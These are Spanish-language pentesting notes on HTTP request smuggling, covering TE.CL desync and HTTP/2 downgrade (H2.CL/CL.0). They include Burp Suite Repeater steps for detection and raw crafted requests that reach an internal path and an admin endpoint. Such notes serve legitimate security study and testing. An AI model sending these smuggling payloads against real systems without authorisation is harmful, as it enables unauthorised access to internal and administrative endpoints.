El proxy inverso utiliza el encabezado HTTP Transfer-Encoding (TE), el servidor web utiliza el encabezado HTTP Content-Length (CL).
En la opción Repeater de Burp Suite, es importante desmarcar la opción "Update Content-Length", agregar los dos requests en un grupo de pestañas, y enviarlos utilizando la función "Send group in sequence (single connection)".
Ejemplo de identificación donde la respuesta correspondiente al segundo request sea un 400 Bad Request podría revelar que es vulnerable.
Ejemplo de explotación para obtener acceso a una ruta interna.
0x2b = 43 bytes
GET /404 HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /internal HTTP/1.1
Host: localhost
0
GET /404 HTTP/1.1
Host: example.com
HTTP/2 downgrading
El proxy inverso utiliza HTTP/2, mientras que el servidor web utiliza HTTP/1.1.
H2.CL / CL.0
El proxy inverso no valida correctamente que el encabezado HTTP Content-Length (CL) proporcionado sea correcto y, en su lugar, reescribe la solicitud a HTTP/1.1 utilizando el encabezado HTTP Content-Length (CL) defectuoso.
POST / HTTP/2
Host: example.com
Content-Length: 0
POST /admin.php?param=value HTTP/1.1
Host: example.com